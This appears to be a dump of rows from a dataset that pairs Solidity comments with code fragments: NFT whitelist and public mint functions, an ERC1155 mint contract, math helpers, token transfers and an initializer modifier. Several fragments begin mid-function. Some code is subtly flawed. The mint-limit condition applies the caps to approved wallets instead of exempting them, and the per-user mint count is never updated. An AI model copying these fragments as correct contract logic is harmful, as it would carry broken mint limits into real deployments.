//Check that the message does equal the keccak256 hash of the msg.senders address
require(_hashedMessage == keccak256(abi.encode(msg.sender)), "ERR:WM"); // WM -> Wrong Message
//Define a string to be prefixed to the hashed message
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
//Combine the prefix & hashedMessage
bytes32 prefixedHashMessage = keccak256(
abi.encodePacked(prefix, _hashedMessage)
);
//Retrieve the signing address of the message
address signer = ecrecover(prefixedHashMessage, _v, _r, _s);
//Require that the signer is the admin of the contract, return bool accordingly
return (signer == admin) ? true : false;
}
//This function is called to check that a merkle proof is a valid merkle proof
//Param: _merkleProof => An array of bytes32 that represent the "proof" that the address is on the merkle tree
//returns(bool) => The bool saying whether the proof is verified or not
function checkValidity(bytes32[] calldata _merkleProof)
public
view
returns (bool)
{
//Generate the leaf that would be on the merkle tree
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
//Check that the return of calling the MerkleProof libraries verify function with the given paramaters returns true
require(
MerkleProof.verify(_merkleProof, merkleRoot, leaf),
"ERR:IP" // IP -> incorrect proof
);
//Return true
return true;
}
//This function is called to mint a whitelist NFT for whitelist Price
//Params
//amount => The amount of NFTs to be minted
//_merkleProof => An array of bytes2 that represents the "proof" that the address is on the merkletree
//Ether will be sent with this function call so it is marked payable
//nonReentrant => This function can not be accessed multiple times in a single transaction
//notPaused => This function can only be called when minting is not paused
function whitelistMint(uint8 amount, bytes32[] calldata _merkleProof)
external
payable
nonReentrant
notPaused
{
//If the msg.sender is not the admin or an approved wallet
if (msg.sender != admin || approvedWallets[msg.sender]) {
//Check that the amount is notlarger than 3
require(amount <= 3, "ERR:SA"); //SA -> Sent Amount
//Check that the msg.sender is not trying to mint more than 9 NFTs total
require(numMintedByUser[msg.sender] + amount <= 9, "ERR:MA"); //MA -> mint amount
}
//Check if the whitelist minting is currently active
require(whitelistActive, "ERR:NA"); //NA => Not Active
//Check the validity of the proof
require(checkValidity(_merkleProof), "ERR:WP"); //WL -> whitelist proof
//Check that the amount + totalSupply is not larger than the whitelist Limit - 3333
require(amount + totalSupply() <= whitelistLimit, "ERR:WL"); //WL -> whitelist limit
//If the caller is not the admin
if (msg.sender != admin) {
//Calculate the total cost
uint256 amountDue = amount * whitelistPrice;
//Check that the value sent is exactly the amount * whitelist price
require(msg.value == amountDue, "ERR:WF"); //WF -> Wrong Funds
//Send the funds to admin wallet
(bool success, ) = admin.call{value: amountDue}("");
//Check that the funds were transferred correctly
require(success, "ERR:PA"); // PA -> Paying Admin
} else {
//If the caller is the admin
//Check that the total amount of mints the admin has made plus the amount
//requested to be minted is less than or equal to 1111
require(adminMintCount + amount <= 1111, "ERR:AM"); //AM => admin Minting
//Increase the amount that the admin has minted by amount
adminMintCount += amount;
}
//Mint the amount of NFTs to the caller
_safeMint(msg.sender, uint256(amount));
}
function mint(uint8 amount) external payable nonReentrant notPaused {
//If the msg.sender is not the admin or an approved wallet
if (msg.sender != admin || approvedWallets[msg.sender]) {
//Check that the amount is notlarger than 3
require(amount <= 3, "ERR:SA"); //SA -> Sent Amount
//Check that the msg.sender is not trying to mint more than 9 NFTs total
require(numMintedByUser[msg.sender] + amount <= 9, "ERR:MA"); //MA -> mint amount
}
//Check that the whitelist is not active
require(!whitelistActive, "ERR:WA"); //WA => Whitelist Active
//Check that the totalSupply + amount does not exceed the total mint limit
require(amount + totalSupply() <= totalLimit, "ERR:TL"); //TL - total limit
//If the caller is not the admin
if (msg.sender != admin) {
//Calculate the total cost
uint256 amountDue = amount * normalPrice;
//Check that the value sent is exactly the amount * normal price
require(msg.value == amountDue, "ERR:NF"); //NF -> not enough funds
//Send funds to admin wallet
(bool success, ) = admin.call{value: amountDue}("");
//Check that the funds were transferred correctly
require(success, "ERR:PA"); // PA -> Paying Admin
} else {
//If the caller is the admin
//Check that the total amount of mints the admin has made plus the amount
//requested to be minted is less than or equal to 1111
require(adminMintCount + amount <= 1111, "ERR:AM"); //AM => admin Minting
//Increase the amount that the admin has minted by amount
adminMintCount += amount;
}
//Mint the amount for the caller
_safeMint(msg.sender, uint256(amount));
}
//This function is a function in the ERC721A inherited contract
//We override it so we can set a custom variable
function _baseURI() internal view virtual override returns (string memory) {
return baseURI; //put baseURI in here
}
}
| 37,767
|
135
|
// Performs the power on a specified value, reverts on overflow./
|
function safePower(
uint256 a,
uint256 pow
)
internal
pure
returns (uint256)
|
function safePower(
uint256 a,
uint256 pow
)
internal
pure
returns (uint256)
| 32,834
|
169
|
// Convenience function: Withdraw all shares of the sender
|
function withdrawAll() external whenNotPaused {
_defend();
_blockLocked();
_blacklisted(msg.sender);
_lockForBlock(msg.sender);
_withdraw(balanceOf(msg.sender));
}
|
function withdrawAll() external whenNotPaused {
_defend();
_blockLocked();
_blacklisted(msg.sender);
_lockForBlock(msg.sender);
_withdraw(balanceOf(msg.sender));
}
| 4,314
|
55
|
// exchange tokens
|
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
|
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
| 2,150
|
10
|
// Returns x + y, reverts if sum overflows uint256/x The augend/y The addend/ return z The sum of x and y
|
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
|
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
| 10,968
|
22
|
// SPDX-License-Identifier: UNLICENSED // Copyright Metarkitex /
|
contract MetaMericanDream is Ownable, VRFConsumerBase, ERC1155Pausable, ReentrancyGuard, RoyaltiesV2Impl {
string public name = "Metamerican Dream";
uint8 public constant MAX_MINTS = 20;
uint32 public MAX_TOKENS = 1e5;
uint16 public tokensMinted = 0;
address public allowlistContract;
bool public allowlistSeason;
uint256 public randomNumber;
bytes32 public randomRequestId;
bool public waitingOnRandomness;
uint public cost;
address payable public withdrawAddress1;
address payable public withdrawAddress2;
bytes32 private s_keyHash;
uint256 private s_fee;
mapping(address => uint16) public mintsPerAddress;
mapping(uint16 => uint) public tokenIdToEncodedTraits;
event SetBaseURI(string fromString, string toString);
event SetCost(uint fromCost, uint toCost);
event SetTokenSupply(uint fromSupply, uint toSupply);
event LogWithdrawal(address receiver, uint amount);
event FreeMint(
address indexed to,
uint256[] ids,
uint256[] values
);
// VRFConsumerBase: Parent class for randomness consumer (https://docs.chain.link/docs/get-a-random-number/)
// _allowlistContract: allowlist contract that can mint during allowlist period
// withdrawAddress: set to initiator of contract
constructor(address _allowlistContract, address vrfCoordinator, address link, bytes32 keyHash, uint256 fee, address withdrawAddress, address devWallet) ERC1155("null") VRFConsumerBase(
vrfCoordinator, // VRF Coordinator
link // LINK Token
)
{
// withdrawAddress for mint fees is set to contract initator
withdrawAddress1 = payable(withdrawAddress);
withdrawAddress2 = payable(devWallet);
// only allowlistContract can mint while allowlistSeason == true
allowlistContract = _allowlistContract;
allowlistSeason = true;
// VRF parameters
s_keyHash = keyHash;
s_fee = fee;
waitingOnRandomness = true;
}
// Open minting for everybody, not just allowlistContract
function openForMinting() external onlyOwner
{
allowlistSeason = false;
}
// Generate initial randomness request
function initiateRandomGeneration() external onlyOwner {
require(LINK.balanceOf(address(this)) >= s_fee, "Not enough LINK - fill contract with faucet");
randomRequestId = requestRandomness(s_keyHash, s_fee);
}
/**
* Callback function used by VRF Coordinator
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
require(waitingOnRandomness, "Must be waiting on randomness");
require(randomRequestId == requestId, "Wrong request ID");
randomNumber=randomness;
waitingOnRandomness=false;
}
// set base URI for token metadata
function setBaseURI(string calldata base) external onlyOwner {
emit SetBaseURI(uri(0), base);
_setURI(base);
}
// set mint cost
function setCost(uint newCost) external onlyOwner {
require(cost < newCost, "price can only increase");
emit SetCost(cost, newCost);
cost = newCost;
}
function setTokenSupply(uint32 newSupply) external onlyOwner {
require(MAX_TOKENS > newSupply, "supply can only decrease");
emit SetTokenSupply(MAX_TOKENS, newSupply);
MAX_TOKENS = newSupply;
}
function mint(address _to, uint16 quantity, bool freeMint) external payable {
// This contract should only mint up to MAX_TOKENS in its lifetime
require(tokensMinted + quantity <= MAX_TOKENS);
// Each recipient can only mint MAX_MINTS
require(mintsPerAddress[_to] + quantity <= MAX_MINTS);
mintsPerAddress[_to] += quantity;
// only allowlistContract can mint during allowlist period, otherwise you can only mint for yourself
require((!allowlistSeason && _to == _msgSender()) || allowlistContract == _msgSender());
// either message contains mint fee or this is a free mint
require(msg.value == (cost * quantity) || (allowlistContract == _msgSender() && freeMint));
// generate list of token IDs by hashing result of initial randomness
uint[] memory _ids = new uint[](quantity);
uint[] memory _quantities = new uint[](quantity);
for (uint16 i = 0; i < quantity; i++) {
randomNumber = uint256(keccak256(abi.encode(randomNumber)));
_ids[i] = tokensMinted + 1 + i;
tokenIdToEncodedTraits[tokensMinted + 1 + i] = randomNumber;
_quantities[i] = 1;
}
tokensMinted += quantity;
super._mintBatch(_to, _ids, _quantities, "");
// publish free mint event to show free mints
if (freeMint) {
emit FreeMint(_to, _ids, _quantities);
}
}
// withdraw all funds to admin wallet
function withdraw(uint amount) external onlyOwner nonReentrant {
(bool success1, ) = withdrawAddress1.call{value: (amount*99)/100}(msg.data);
(bool success2, ) = withdrawAddress2.call{value: amount/100}(msg.data);
require(success1 && success2, "Transfer failed");
emit LogWithdrawal(withdrawAddress1, amount*99/100);
emit LogWithdrawal(withdrawAddress2, amount/100);
}
function setRoyalties(uint _tokenId, address payable _royaltiesReceipientAddress, uint96 _percentageBasisPoints) public onlyOwner {
LibPart.Part[] memory _royalties = new LibPart.Part[](1);
_royalties[0].value = _percentageBasisPoints;
_royalties[0].account = _royaltiesReceipientAddress;
_saveRoyalties(_tokenId, _royalties);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155) returns (bool) {
if(interfaceId == LibRoyaltiesV2._INTERFACE_ID_ROYALTIES) {
return true;
}
return super.supportsInterface(interfaceId);
}
}
|
contract MetaMericanDream is Ownable, VRFConsumerBase, ERC1155Pausable, ReentrancyGuard, RoyaltiesV2Impl {
string public name = "Metamerican Dream";
uint8 public constant MAX_MINTS = 20;
uint32 public MAX_TOKENS = 1e5;
uint16 public tokensMinted = 0;
address public allowlistContract;
bool public allowlistSeason;
uint256 public randomNumber;
bytes32 public randomRequestId;
bool public waitingOnRandomness;
uint public cost;
address payable public withdrawAddress1;
address payable public withdrawAddress2;
bytes32 private s_keyHash;
uint256 private s_fee;
mapping(address => uint16) public mintsPerAddress;
mapping(uint16 => uint) public tokenIdToEncodedTraits;
event SetBaseURI(string fromString, string toString);
event SetCost(uint fromCost, uint toCost);
event SetTokenSupply(uint fromSupply, uint toSupply);
event LogWithdrawal(address receiver, uint amount);
event FreeMint(
address indexed to,
uint256[] ids,
uint256[] values
);
// VRFConsumerBase: Parent class for randomness consumer (https://docs.chain.link/docs/get-a-random-number/)
// _allowlistContract: allowlist contract that can mint during allowlist period
// withdrawAddress: set to initiator of contract
constructor(address _allowlistContract, address vrfCoordinator, address link, bytes32 keyHash, uint256 fee, address withdrawAddress, address devWallet) ERC1155("null") VRFConsumerBase(
vrfCoordinator, // VRF Coordinator
link // LINK Token
)
{
// withdrawAddress for mint fees is set to contract initator
withdrawAddress1 = payable(withdrawAddress);
withdrawAddress2 = payable(devWallet);
// only allowlistContract can mint while allowlistSeason == true
allowlistContract = _allowlistContract;
allowlistSeason = true;
// VRF parameters
s_keyHash = keyHash;
s_fee = fee;
waitingOnRandomness = true;
}
// Open minting for everybody, not just allowlistContract
function openForMinting() external onlyOwner
{
allowlistSeason = false;
}
// Generate initial randomness request
function initiateRandomGeneration() external onlyOwner {
require(LINK.balanceOf(address(this)) >= s_fee, "Not enough LINK - fill contract with faucet");
randomRequestId = requestRandomness(s_keyHash, s_fee);
}
/**
* Callback function used by VRF Coordinator
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
require(waitingOnRandomness, "Must be waiting on randomness");
require(randomRequestId == requestId, "Wrong request ID");
randomNumber=randomness;
waitingOnRandomness=false;
}
// set base URI for token metadata
function setBaseURI(string calldata base) external onlyOwner {
emit SetBaseURI(uri(0), base);
_setURI(base);
}
// set mint cost
function setCost(uint newCost) external onlyOwner {
require(cost < newCost, "price can only increase");
emit SetCost(cost, newCost);
cost = newCost;
}
function setTokenSupply(uint32 newSupply) external onlyOwner {
require(MAX_TOKENS > newSupply, "supply can only decrease");
emit SetTokenSupply(MAX_TOKENS, newSupply);
MAX_TOKENS = newSupply;
}
function mint(address _to, uint16 quantity, bool freeMint) external payable {
// This contract should only mint up to MAX_TOKENS in its lifetime
require(tokensMinted + quantity <= MAX_TOKENS);
// Each recipient can only mint MAX_MINTS
require(mintsPerAddress[_to] + quantity <= MAX_MINTS);
mintsPerAddress[_to] += quantity;
// only allowlistContract can mint during allowlist period, otherwise you can only mint for yourself
require((!allowlistSeason && _to == _msgSender()) || allowlistContract == _msgSender());
// either message contains mint fee or this is a free mint
require(msg.value == (cost * quantity) || (allowlistContract == _msgSender() && freeMint));
// generate list of token IDs by hashing result of initial randomness
uint[] memory _ids = new uint[](quantity);
uint[] memory _quantities = new uint[](quantity);
for (uint16 i = 0; i < quantity; i++) {
randomNumber = uint256(keccak256(abi.encode(randomNumber)));
_ids[i] = tokensMinted + 1 + i;
tokenIdToEncodedTraits[tokensMinted + 1 + i] = randomNumber;
_quantities[i] = 1;
}
tokensMinted += quantity;
super._mintBatch(_to, _ids, _quantities, "");
// publish free mint event to show free mints
if (freeMint) {
emit FreeMint(_to, _ids, _quantities);
}
}
// withdraw all funds to admin wallet
function withdraw(uint amount) external onlyOwner nonReentrant {
(bool success1, ) = withdrawAddress1.call{value: (amount*99)/100}(msg.data);
(bool success2, ) = withdrawAddress2.call{value: amount/100}(msg.data);
require(success1 && success2, "Transfer failed");
emit LogWithdrawal(withdrawAddress1, amount*99/100);
emit LogWithdrawal(withdrawAddress2, amount/100);
}
function setRoyalties(uint _tokenId, address payable _royaltiesReceipientAddress, uint96 _percentageBasisPoints) public onlyOwner {
LibPart.Part[] memory _royalties = new LibPart.Part[](1);
_royalties[0].value = _percentageBasisPoints;
_royalties[0].account = _royaltiesReceipientAddress;
_saveRoyalties(_tokenId, _royalties);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155) returns (bool) {
if(interfaceId == LibRoyaltiesV2._INTERFACE_ID_ROYALTIES) {
return true;
}
return super.supportsInterface(interfaceId);
}
}
| 14,505
|
35
|
// liquidation is in the middle
|
auctions_.liquidations[liquidation.prev].next = liquidation.next;
auctions_.liquidations[liquidation.next].prev = liquidation.prev;
|
auctions_.liquidations[liquidation.prev].next = liquidation.next;
auctions_.liquidations[liquidation.next].prev = liquidation.prev;
| 40,279
|
12
|
// A modifier that defines a protected initializer function that can be invoked at most once. In its scope,`onlyInitializing` functions can be used to initialize parent contracts. Equivalent to `reinitializer(1)`. /
|
modifier initializer() {
bool isTopLevelCall = !_initializing;
require(
(isTopLevelCall && _initialized < 1) ||
(!Address.isContract(address(this)) && _initialized == 1),
'Initializable: contract is already initialized'
);
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
|
modifier initializer() {
bool isTopLevelCall = !_initializing;
require(
(isTopLevelCall && _initialized < 1) ||
(!Address.isContract(address(this)) && _initialized == 1),
'Initializable: contract is already initialized'
);
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
| 9,324
|
71
|
// false: revert to expiring market
|
struct sortInfo {
uint256 next; //points to id of next higher offer
uint256 prev; //points to id of previous lower offer
uint256 delb; //the blocknumber where this entry was marked for delete
}
|
struct sortInfo {
uint256 next; //points to id of next higher offer
uint256 prev; //points to id of previous lower offer
uint256 delb; //the blocknumber where this entry was marked for delete
}
| 10,129
|
5
|
// Executes a percentage multiplication value The value of which the percentage needs to be calculated percentage The percentage of the value to be calculatedreturn The percentage of value /
|
function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256) {
if (value == 0 || percentage == 0) {
return 0;
}
require(
value <= (type(uint256).max - HALF_PERCENT) / percentage,
Errors.MATH_MULTIPLICATION_OVERFLOW
);
return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR;
}
|
function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256) {
if (value == 0 || percentage == 0) {
return 0;
}
require(
value <= (type(uint256).max - HALF_PERCENT) / percentage,
Errors.MATH_MULTIPLICATION_OVERFLOW
);
return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR;
}
| 19,362
|
69
|
// Try to withdraw specified USDC amount from Compound before proceeding.
|
if (_withdrawFromCompound(AssetType.USDC, redeemUnderlyingAmount)) {
|
if (_withdrawFromCompound(AssetType.USDC, redeemUnderlyingAmount)) {
| 26,683
|
8
|
// @TODO: create the PupperCoinSale and tell it about the token, set the goal, and set the open and close times to now and now + 24 weeks.
|
PupperCoinSale Pupper_Sale = new PupperCoinSale(1, wallet, token, now, now + 24 weeks, 100, 50 );
token_sale_address = address(Pupper_Sale);
|
PupperCoinSale Pupper_Sale = new PupperCoinSale(1, wallet, token, now, now + 24 weeks, 100, 50 );
token_sale_address = address(Pupper_Sale);
| 46,574
|
36
|
// called by the owner on end of emergency, returns to normal state
|
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
|
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
| 22,197
|
8
|
// Basic tokenBasic version of StandardToken, with no allowances./
|
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
|
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
| 2,396
|
5
|
// Create new config settings store for this contract and reset ownership to the deployer.
|
ConfigStore configStore = new ConfigStore(configSettings, timerAddress);
configStore.transferOwnership(msg.sender);
emit CreatedConfigStore(address(configStore), configStore.owner());
|
ConfigStore configStore = new ConfigStore(configSettings, timerAddress);
configStore.transferOwnership(msg.sender);
emit CreatedConfigStore(address(configStore), configStore.owner());
| 16,144
|
26
|
// return bond details. /
|
function getBond(uint256 id) public view returns (Bond memory) {
return _bonds[id];
}
|
function getBond(uint256 id) public view returns (Bond memory) {
return _bonds[id];
}
| 42,959
|
41
|
// Initialization instead of constructor, called once. The setOperatorsContract function can be called only by Admin role withconfirmation through the operators contract. _baseOperators BaseOperators contract address. /
|
function initialize(address _baseOperators, address _raiseOperators) public initializer {
super.initialize(_baseOperators);
_setRaiseOperatorsContract(_raiseOperators);
}
|
function initialize(address _baseOperators, address _raiseOperators) public initializer {
super.initialize(_baseOperators);
_setRaiseOperatorsContract(_raiseOperators);
}
| 37,220
|
15
|
// ETH/BUSD LP
|
(uint256 price0Cumulative_EB, uint256 price1Cumulative_EB, uint32 blockTimestamp_EB) = PancakeswapOracleLibrary.currentCumulativePrices(address(pair_EB));
uint32 timeElapsed_EB = blockTimestamp_EB - blockTimestampLast_EB; // overflow is desired
if (timeElapsed_EB == 0) {
|
(uint256 price0Cumulative_EB, uint256 price1Cumulative_EB, uint32 blockTimestamp_EB) = PancakeswapOracleLibrary.currentCumulativePrices(address(pair_EB));
uint32 timeElapsed_EB = blockTimestamp_EB - blockTimestampLast_EB; // overflow is desired
if (timeElapsed_EB == 0) {
| 21,268
|
15
|
// Function mints the amount of Tresury ERC20s and sends them to the addressto address where to mint the ERC20samount ERC20s amount to mint/
|
function mintTresury(address to, uint amount) external onlyOwner {
require(_totalTresurySupply + amount <= MAX_TRESURY_SUPPLY, "Tresury token amount is exceeded");
_mint(to, amount);
_totalTresurySupply += amount;
}
|
function mintTresury(address to, uint amount) external onlyOwner {
require(_totalTresurySupply + amount <= MAX_TRESURY_SUPPLY, "Tresury token amount is exceeded");
_mint(to, amount);
_totalTresurySupply += amount;
}
| 80,309
|
1,101
|
// The number of votes the voter had, which were cast
|
uint96 votes;
|
uint96 votes;
| 39,809
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.